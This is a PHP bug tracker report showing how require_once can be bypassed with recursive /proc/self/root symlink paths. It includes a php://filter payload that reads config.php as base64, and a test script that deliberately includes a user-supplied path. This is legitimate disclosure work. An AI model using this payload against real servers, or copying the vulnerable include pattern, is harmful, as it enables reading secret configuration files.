Bug #79980 [NEW]: require_once can include a file twice via symlink loops
From: i at littlefisher dot me
Operating system: Ubuntu18.04
PHP version: 7.2.33
Package: *Directory/Filesystem functions
Bug Type: Bug
Bug description:require_once can include a file twice via symlink loops
Description:
------------
Normally, when we include a file via require_once() which has included
before, PHP will prevent this behavior.
But when we set the file path to a symbol link, PHP will be fooled. An
example in Test script as follows can demonstrate it. And assume there
is some secret in config.php.
We can pass our payload to content query parameter, and then the PHP
will resolve the file path to
'/proc/24273/root/proc/self/root/var/www/html/config.php'.
Eventually, the require_once bypassed. We got the base64-encoded
content of config.php.
Payload:
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/config.php
Test script:
---------------
/* index.php */
<?php
error_reporting(E_ALL);
require_once('config.php');
highlight_file(__FILE__);
if(isset($_GET['content'])) {
$content = $_GET['content'];
require_once($content);
}
/* config.php */
<?php
$MYSQL_HOST = '127.0.0.1';
$MYSQL_PORT = 3306;
$MYSQL_USERNAME = 'admin';
$MYSQL_PASSWORD = 'admin';
Expected result:
----------------
Excepted result is config.php cannot be included twice by the
recursive symbollink.
--
Edit bug report at https://bugs.php.net/bug.php?id=79980&edit=1
--
Fix committed: https://bugs.php.net/fix.php?id=79980&r=fixed
Fixed in release: https://bugs.php.net/fix.php?id=79980&r=alreadyfixed
Need backtrace: https://bugs.php.net/fix.php?id=79980&r=needtrace
Need Reproduce Script: https://bugs.php.net/fix.php?id=79980&r=needscript
Try newer version: https://bugs.php.net/fix.php?id=79980&r=oldversion
Not developer issue: https://bugs.php.net/fix.php?id=79980&r=support
Expected behavior: https://bugs.php.net/fix.php?id=79980&r=notwrong
Not enough info: https://bugs.php.net/fix.php?id=79980&r=notenoughinfo
Submitted twice: https://bugs.php.net/fix.php?id=79980&r=submittedtwice
register_globals: https://bugs.php.net/fix.php?id=79980&r=globals
PHP version support discontinued: https://bugs.php.net/fix.php?id=79980&r=phptooold
Daylight Savings: https://bugs.php.net/fix.php?id=79980&r=dst
IIS Stability: https://bugs.php.net/fix.php?id=79980&r=isapi
Install GNU Sed: https://bugs.php.net/fix.php?id=79980&r=gnused
Floating point limitations: https://bugs.php.net/fix.php?id=79980&r=float
No Zend Extensions: https://bugs.php.net/fix.php?id=79980&r=nozend
MySQL Configuration Error: https://bugs.php.net/fix.php?id=79980&r=mysqlcfg
Thread (2 messages)
- i at littlefisher dot me